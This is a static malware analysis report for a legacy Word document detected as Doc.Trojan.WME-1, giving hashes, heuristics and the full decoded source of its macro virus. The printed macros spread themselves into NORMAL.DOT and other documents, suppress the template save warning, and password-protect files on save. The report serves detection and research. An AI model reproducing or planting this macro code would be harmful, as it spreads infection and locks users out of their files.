Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1d29c493d76b462…

MALICIOUS

Office (OLE)

45.5 KB Created: 1997-03-24 02:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8187a97dc8be83836ba41488f79e4f6b SHA-1: 3249c9f3e30b5de7fece3b033bfb082eb76e2929 SHA-256: b1d29c493d76b4625381900e3852fdd8906dad5ebfda6b4bb3b3d2767a4bddc7
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro virus markers and VBA macros, including an AutoOpen subroutine designed to infect other documents. The embedded script indicates an intent to infect the host document and potentially spread further when the file is saved or opened, consistent with older macro virus behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.WME-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.WME-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3616 bytes
SHA-256: 51f9c39d5e48824438f2e79d6f412a5c7ac953c626ac4f4485890805abbfb078
Detection
ClamAV: Doc.Trojan.WME-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DateiSpeichernUnter"

'
' MACRO: DateiSpeichernUnter
' PURPOSE: Set password to document when file is saved
'
' This macro was generated by WME
'
Public Sub MAIN()
Attribute MAIN.VB_Description = "Speichert eine Kopie des Dokuments in eine andere Datei."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DateiSpeichernUnter.MAIN"
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg

' Check conditions
If WordBasic.Day(WordBasic.Now()) > 3 Then
' Set password "cc"
   dlg.Password = "cc"
WordBasic.FileSaveAs dlg
End If
End Sub

Attribute VB_Name = "DateiSpeichern"

'
' MACRO: DateiSpeichern
' PURPOSE: Infect document when it saved
'
' This macro was generated by WME
'
Public Sub MAIN()
Attribute MAIN.VB_Description = "Speichert die aktuelle Datei oder Dokumentvorlage."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DateiSpeichern.MAIN"
Dim X
On Error GoTo -1: On Error GoTo NoSave

WordBasic.DisableAutoMacros 0       ' Reenable auto macros processing

' Infect document
X = WordBasic.Call("wss.Makkop", WordBasic.[FileName$]())

' Convert document into template
WordBasic.FileSaveAs Format:=1

NoSave:
End Sub

Attribute VB_Name = "AutoOpen"

'
' MACRO: AutoOpen
' PURPOSE: Infect Document or Global template.
'
' This macro was generated by WME
'
Public Sub MAIN()
Dim X
On Error GoTo -1: On Error GoTo NoAuto
' Infect document
   X = WordBasic.Call("wss.Makkop", WordBasic.[FileName$]())
NoAuto:
End Sub

Attribute VB_Name = "AutoExec"

'
' MACRO: AutoExec
' PURPOSE: Remove some AV shit (something like as DisableAutoMacros)
'
' This macro was generated by WME
'
Public Sub MAIN()
End Sub

Attribute VB_Name = "wss"

'
' MACRO: wss
' PURPOSE: Main macro.
'
' This macro was generated by WME
'
Public Sub MAIN()
 
End Sub

Private Function Makkop(Name_$)
Dim I
Dim X
Dim CopyMakros

Dim GlPres
Dim AcPres

Makkop = 0

GlPres = 0
AcPres = 0

' Disable NORMAL.DOT write access warnings
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0

' Check If we in Global template
For I = 1 To WordBasic.CountMacros(0)
If WordBasic.[MacroName$](I, 0) = "wss" Then
   GlPres = 1   '  Schon erledigt
End If
Next I

' Check if document allready infected
X = WordBasic.CountMacros(1)
If (X = 0) Then GoTo SkAcCheck

For I = 1 To WordBasic.CountMacros(1)
If WordBasic.[MacroName$](I, 1) = "wss" Then
   AcPres = 1   ' Schon erledigt
End If
Next I

SkAcCheck:


If GlPres = 0 Then

   WordBasic.MacroCopy Name_$ + ":DateiSpeichern", "DateiSpeichern", 0
   WordBasic.MacroCopy Name_$ + ":DateiSpeichernUnter", "DateiSpeichernUnter", 0
   WordBasic.MacroCopy Name_$ + ":AutoOpen", "AutoOpen", 0
   WordBasic.MacroCopy Name_$ + ":AutoExec", "AutoExec", 0
   WordBasic.MacroCopy Name_$ + ":wss", "wss", 0

End If

If AcPres = 0 Then

   CopyMakros = 1
   WordBasic.MacroCopy "DateiSpeichern", Name_$ + ":DateiSpeichern", 0
   WordBasic.MacroCopy "DateiSpeichernUnter", Name_$ + ":DateiSpeichernUnter", 0
   WordBasic.MacroCopy "AutoOpen", Name_$ + ":AutoOpen", 0
   WordBasic.MacroCopy "AutoExec", Name_$ + ":AutoExec", 0
   WordBasic.MacroCopy "wss", Name_$ + ":wss", 0

End If
End Function

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